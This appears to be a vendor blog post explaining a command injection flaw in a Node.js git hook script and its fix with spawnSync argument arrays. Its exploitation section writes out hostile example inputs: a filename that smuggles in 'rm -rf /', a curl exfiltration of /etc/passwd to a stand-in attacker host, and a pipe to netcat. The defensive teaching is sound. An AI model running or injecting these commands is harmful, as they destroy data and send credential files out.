Back to Blog
high SEVERITY6 min read

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `hooks/scripts/auto-stage.js` where the `stageFile()` function used `execSync()` with string interpolation to execute git commands. By switching from `execSync()` with template strings to `spawnSync()` with argument arrays, the fix eliminates shell interpretation and prevents attackers from injecting malicious commands through crafted file paths.

O
By Orbis AppSec
Published August 21, 2026Reviewed August 21, 2026

Answer Summary

Command injection (CWE-78) in Node.js occurs when untrusted input is passed to child_process functions that invoke a shell. In this case, `execSync(\`git add "${filePath}"\`)` in auto-stage.js line 55 allowed shell metacharacters in filePaths to execute arbitrary commands. The fix replaces execSync with `spawnSync('git', ['add', filePath])`, which passes arguments as an array instead of a shell-interpreted string, completely preventing command injection regardless of the filePath content.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace execSync with spawnSync using parameterized argument arrays
riskArbitrary command execution through malicious file paths
languageJavaScript (Node.js)
root causeUsing execSync with string interpolation instead of argument arrays
vulnerabilityCommand Injection via child_process

Introduction

In a Git hooks automation script, we discovered a high-severity command injection vulnerability in hooks/scripts/auto-stage.js at line 55. The stageFile() function was using Node.js's execSync() with string interpolation to execute git commands, creating a dangerous code path where malicious file paths could break out of the intended command and execute arbitrary shell commands. This vulnerability demonstrates why string-based command construction is fundamentally unsafe, even in seemingly controlled environments like Git repository management.

The vulnerable code accepted a filePath parameter from a function argument and directly interpolated it into a shell command: execSync(\git add "${filePath}"`)`. While the double quotes provide minimal protection, they're insufficient against shell metacharacters and escape sequences that can break command boundaries.

The Vulnerability Explained

Let's examine the vulnerable code from auto-stage.js line 52-58:

function stageFile(filePath) {
  try {
    const dir = path.dirname(filePath);
    execSync(`git add "${filePath}"`, { cwd: dir, stdio: 'pipe' });
    return { success: true };
  } catch (e) {
    return { success: false, error: e.message };

The critical issue is on line 55: execSync(\git add "${filePath}"`). TheexecSync()function spawns a shell (/bin/shon Unix,cmd.exeon Windows) and passes the entire string for interpretation. Despite the double quotes around${filePath}`, an attacker can exploit shell metacharacters to inject commands.

How could this be exploited?

Consider if filePath came from an untrusted source (like a webhook payload, user input, or a compromised upstream system). An attacker could craft a malicious filename like:

"; rm -rf / #

This would result in the following command being executed:

git add ""; rm -rf / #"

The shell interprets this as:
1. git add "" - adds nothing (empty string)
2. ; - command separator
3. rm -rf / - delete everything (catastrophic)
4. # - comment out the trailing quote

Even with the cwd option limiting the working directory, the injected command runs with full privileges of the Node.js process. Other attack vectors include:

  • Command chaining: file.txt && curl attacker.com/exfiltrate?data=$(cat /etc/passwd)
  • Command substitution: file.txt$(whoami).txt
  • Pipe injection: file.txt | nc attacker.com 4444

In the context of auto-stage.js, this script appears to be part of a Git hooks system that automatically stages files. If the file paths being processed come from external sources (like CI/CD systems, automated tools, or user-triggered workflows), the command injection risk becomes very real.

The Fix

The fix replaces the shell-invoking execSync() with spawnSync() using an argument array. Here's the before and after:

Before (Vulnerable):

const { execSync } = require('child_process');

function stageFile(filePath) {
  try {
    const dir = path.dirname(filePath);
    execSync(`git add "${filePath}"`, { cwd: dir, stdio: 'pipe' });
    return { success: true };
  } catch (e) {
    return { success: false, error: e.message };

After (Secure):

const { execSync, spawnSync } = require('child_process');

function stageFile(filePath) {
  try {
    const dir = path.dirname(filePath);
    const result = spawnSync('git', ['add', filePath], { cwd: dir, stdio: 'pipe' });
    if (result.status !== 0) throw new Error(result.stderr.toString());
    return { success: true };
  } catch (e) {
    return { success: false, error: e.message };

Key differences:

  1. No shell invocation: spawnSync() directly executes the git binary without spawning a shell interpreter
  2. Argument array: ['add', filePath] passes arguments as separate array elements, not as a concatenated string
  3. Literal interpretation: The filePath is treated as a literal argument value, never parsed for shell metacharacters
  4. Explicit error handling: The fix checks result.status and throws stderr content, maintaining equivalent error behavior

This change eliminates the vulnerability entirely. Even if filePath contains malicious content like "; rm -rf /", it's passed as a literal filename to git add. Git will simply report "file not found" rather than executing the injected command.

The security improvement is absolute: there's no shell to interpret metacharacters, so there's no injection surface. The fix converts a high-severity vulnerability into a non-exploitable code path while preserving the original functionality for legitimate file paths.

Prevention & Best Practices

To prevent command injection vulnerabilities in Node.js applications:

1. Always prefer spawn/spawnSync with argument arrays

// ❌ DANGEROUS - Shell interprets the entire string
execSync(`command ${userInput}`);
exec(`command ${userInput}`, callback);

// ✅ SAFE - No shell, arguments passed directly
spawnSync('command', [userInput]);
spawn('command', [userInput]);

2. If you must use execSync, never interpolate untrusted data

Even with the shell: false option, string construction is risky. If you absolutely need execSync for shell features (pipes, redirects), validate and sanitize inputs rigorously:

// Whitelist validation
if (!/^[a-zA-Z0-9_\-./]+$/.test(filePath)) {
  throw new Error('Invalid file path');
}

However, validation is error-prone. The safer approach is redesigning your code to avoid shell features entirely.

3. Use static analysis tools

Configure Semgrep, ESLint security plugins, or other SAST tools to detect dangerous patterns:

# Semgrep rule example
rules:
  - id: detect-child-process-injection
    pattern: execSync($ARG, ...)
    message: Avoid execSync with user input

4. Apply defense in depth

  • Principle of least privilege: Run Node.js processes with minimal permissions
  • Input validation: Even with safe APIs, validate file paths against expected patterns
  • Sandboxing: Use containers or VMs to limit blast radius
  • Audit logging: Log all command executions for security monitoring

5. Follow OWASP guidelines

The OWASP Command Injection Prevention Cheat Sheet recommends:
- Avoid calling OS commands directly when possible
- Use language-specific APIs instead of shell commands
- If commands are necessary, use parameterized APIs with argument arrays
- Implement strict input validation as a secondary defense

Key Takeaways

  • The stageFile() function in auto-stage.js used execSync() with template literal interpolation, creating a command injection vulnerability at line 55 where malicious file paths could execute arbitrary commands
  • Switching from execSync(\git add "${filePath}"`)tospawnSync('git', ['add', filePath])` eliminates shell interpretation entirely, making injection impossible regardless of filePath content
  • String interpolation with child_process functions is fundamentally unsafe because shell metacharacters (;, |, &&, $(), etc.) can break command boundaries even with quotes
  • Argument arrays with spawn/spawnSync provide absolute protection by treating all parameters as literal values, never parsing them for shell syntax
  • Static analysis tools like Semgrep can automatically detect these patterns before they reach production, as demonstrated by the detection of this vulnerability in automated scanning

How Orbis AppSec Detected This

  • Source: The filePath parameter passed to the stageFile() function in hooks/scripts/auto-stage.js
  • Sink: execSync(\git add "${filePath}"`)` at line 55, which spawns a shell and interprets the interpolated string
  • Missing control: No validation or sanitization of the filePath parameter, and use of shell-invoking execSync instead of argument-array-based spawnSync
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command / OS Command Injection)
  • Fix: Replaced execSync with spawnSync and changed from string interpolation to argument array format, eliminating shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in auto-stage.js demonstrates why string-based command construction is dangerous in Node.js applications. The fix—switching from execSync() with string interpolation to spawnSync() with argument arrays—provides complete protection by eliminating shell interpretation entirely. By adopting argument-array-based APIs, validating inputs, and using static analysis tools, developers can prevent command injection vulnerabilities before they reach production. Remember: when working with child processes in Node.js, always prefer spawn/spawnSync with argument arrays over exec/execSync with string concatenation.

References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when untrusted input is passed to shell-executing functions like execSync() without proper sanitization, allowing attackers to inject shell metacharacters (like `;`, `|`, `&&`) that execute additional commands beyond the intended operation.

How do you prevent command injection in Node.js?

Use spawnSync() or spawn() with argument arrays instead of execSync() with string concatenation. The array format bypasses shell interpretation entirely, treating all arguments as literal values rather than parsing them for shell metacharacters.

What CWE is command injection?

Command injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). It's part of the broader CWE-74 family of injection vulnerabilities.

Is input validation enough to prevent command injection?

No. While validation helps, it's error-prone because shell metacharacters vary by platform and context. The safest approach is avoiding shell invocation entirely by using argument arrays with spawn/spawnSync, which eliminates the attack surface.

Can static analysis detect command injection?

Yes. Tools like Semgrep can detect dangerous patterns where user-controlled data flows into shell-executing functions. This vulnerability was flagged by Semgrep rule `javascript.lang.security.detect-child-process.detect-child-process` at line 55.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #16

Related Articles

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A command injection vulnerability was discovered in the audio processing plugin `audioedit.js`, where user-controlled input from downloaded media files was passed directly to shell commands via `exec()`. The fix replaces dangerous shell string interpolation with `execFile()` and argument arrays, eliminating the command injection attack surface entirely.

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `core/cli.js` where the `execSync()` function was called with user-controllable input without proper sanitization. This could allow attackers to execute arbitrary system commands. The fix implements defensive hardening by explicitly marking and validating the dangerous code path to prevent exploitation.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote from version 1.8.3 to 1.9.0 and adds a dependency override to ensure the patched version is used throughout the dependency tree.

high

How Information Disclosure and DoS via malformed Cache-Control directives happens in Node.js undici and how to fix it

A high-severity vulnerability (CVE-2026-13697) in the undici HTTP client library allowed attackers to trigger information disclosure and denial of service through malformed Cache-Control directives. The @jackwener/opencli project upgraded undici from version 7.24.6 to 7.29.0, eliminating the vulnerability in their dependency chain and protecting downstream consumers from exploitation.